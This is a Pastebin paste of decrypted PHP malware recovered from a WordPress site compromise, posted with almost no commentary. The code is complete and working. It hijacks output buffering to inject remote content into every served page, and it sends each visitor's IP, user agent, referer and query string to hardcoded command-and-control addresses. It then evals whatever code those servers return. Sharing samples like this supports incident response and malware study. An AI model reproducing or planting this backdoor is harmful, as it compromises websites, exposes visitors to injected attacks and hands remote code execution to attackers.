Advertisement
Guest User

decrypted malware snippet from WP attack

a guest
Apr 11th, 2012
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.25 KB | None | 0 0
  1. <?
  2.  
  3.  
  4. if (!function_exists("GetMama")) {
  5.     function mod_con($buf)
  6.     {
  7.         str_ireplace("<body>", "<body>", $buf, $cnt_h);
  8.         if ($cnt_h == 1) {
  9.             $buf = str_ireplace("<body>", "<body>" . stripslashes($_SERVER["good"]), $buf);
  10.             return $buf;
  11.         }
  12.         str_ireplace("</body>", "</body>", $buf, $cnt_h);
  13.         if ($cnt_h == 1) {
  14.             $buf = str_ireplace("</body>", stripslashes($_SERVER["good"]) . "</body>", $buf);
  15.             return $buf;
  16.         }
  17.         return $buf;
  18.     }
  19.     function opanki($buf)
  20.     {
  21.         $gz_e = false;
  22.         $h_l  = headers_list();
  23.         if (in_array("Content-Encoding: gzip", $h_l)) {
  24.             $gz_e = true;
  25.         }
  26.         if ($gz_e) {
  27.             $tmpfname = tempnam("/tmp", "FOO");
  28.             file_put_contents($tmpfname, $buf);
  29.             $zd       = gzopen($tmpfname, "r");
  30.             $contents = gzread($zd, 10000000);
  31.             $contents = mod_con($contents);
  32.             gzclose($zd);
  33.             unlink($tmpfname);
  34.             $contents = gzencode($contents);
  35.         } else {
  36.             $contents = mod_con($buf);
  37.         }
  38.         $len = strlen($contents);
  39.         header("Content-Length: " . $len);
  40.         return ($contents);
  41.     }
  42.     function GetMama()
  43.     {
  44.         $mother = "www.#########.com";  /* This is the infected domain running WP */
  45.         return $mother;
  46.     }
  47.     ob_start("opanki");
  48.     function ahfudflfzdhfhs($pa)
  49.     {
  50.         $mama = GetMama();
  51.         $file = urlencode(__FILE__);
  52.         if (isset($_SERVER["HTTP_HOST"])) {
  53.             $host = $_SERVER["HTTP_HOST"];
  54.         } else {
  55.             $host = "";
  56.         }
  57.         if (isset($_SERVER["REMOTE_ADDR"])) {
  58.             $ip = $_SERVER["REMOTE_ADDR"];
  59.         } else {
  60.             $ip = "";
  61.         }
  62.         if (isset($_SERVER["HTTP_REFERER"])) {
  63.             $ref = urlencode($_SERVER["HTTP_REFERER"]);
  64.         } else {
  65.             $ref = "";
  66.         }
  67.         if (isset($_SERVER["HTTP_USER_AGENT"])) {
  68.             $ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"]));
  69.         } else {
  70.             $ua = "";
  71.         }
  72.         if (isset($_SERVER["QUERY_STRING"])) {
  73.             $qs = urlencode($_SERVER["QUERY_STRING"]);
  74.         } else {
  75.             $qs = "";
  76.         }
  77.         $url_0 = "http://" . $pa;
  78.         $url_1 = "/jedi.php?version=0992&mother=" . $mama . "&file=" . $file . "&host=" . $host . "&ip=" . $ip . "&ref=" . $ref . "&ua=" . $ua . "&qs=" . $qs;
  79.         $try   = true;
  80.         if (function_exists("curl_init")) {
  81.             $ch = curl_init($url_0 . $url_1);
  82.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  83.             curl_setopt($ch, CURLOPT_TIMEOUT, 3);
  84.             $ult = trim(curl_exec($ch));
  85.             $try = false;
  86.         }
  87.         if ((ini_get("allow_url_fopen")) && $try) {
  88.             $ult = trim(@file_get_contents($url_0 . $url_1));
  89.             $try = false;
  90.         }
  91.         if ($try) {
  92.             $fp = fsockopen($pa, 80, $errno, $errstr, 30);
  93.             if ($fp) {
  94.                 $out = "GET $url_1 HTTP/1.0\r\n";
  95.                 $out .= "Host: $pa\r\n";
  96.                 $out .= "Connection: Close\r\n\r\n";
  97.                 fwrite($fp, $out);
  98.                 $ret = "";
  99.                 while (!feof($fp)) {
  100.                     $ret .= fgets($fp, 128);
  101.                 }
  102.                 fclose($fp);
  103.                 $ult = trim(substr($ret, strpos($ret, "\r\n\r\n") + 4));
  104.             }
  105.         }
  106.         if (strpos($ult, "eval") !== false) {
  107.             $z = stripslashes(str_replace("eval", "", $ult));
  108.             eval($z);
  109.             exit();
  110.         }
  111.         if (strpos($ult, "ebna") !== false) {
  112.             $_SERVER["good"] = str_replace("ebna", "", $ult);
  113.             return true;
  114.         } else {
  115.             return false;
  116.         }
  117.     }
  118.     $father2[] = "77.81.241.253";
  119.     $father2[] = "184.82.117.110";
  120.     $father2[] = "46.249.58.135";
  121.     $father2[] = "176.9.241.150";
  122.     $father2[] = "46.37.169.56";
  123.     $father2[] = "94.242.255.35";
  124.     $father2[] = "178.162.129.223";
  125.     $father2[] = "78.47.184.33";
  126.     $father2[] = "31.184.234.96";
  127.     shuffle($father2);
  128.     foreach ($father2 as $ur) {
  129.         if (ahfudflfzdhfhs($ur)) {
  130.             break;
  131.         }
  132.     }
  133. }
  134.  
  135.  
  136. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement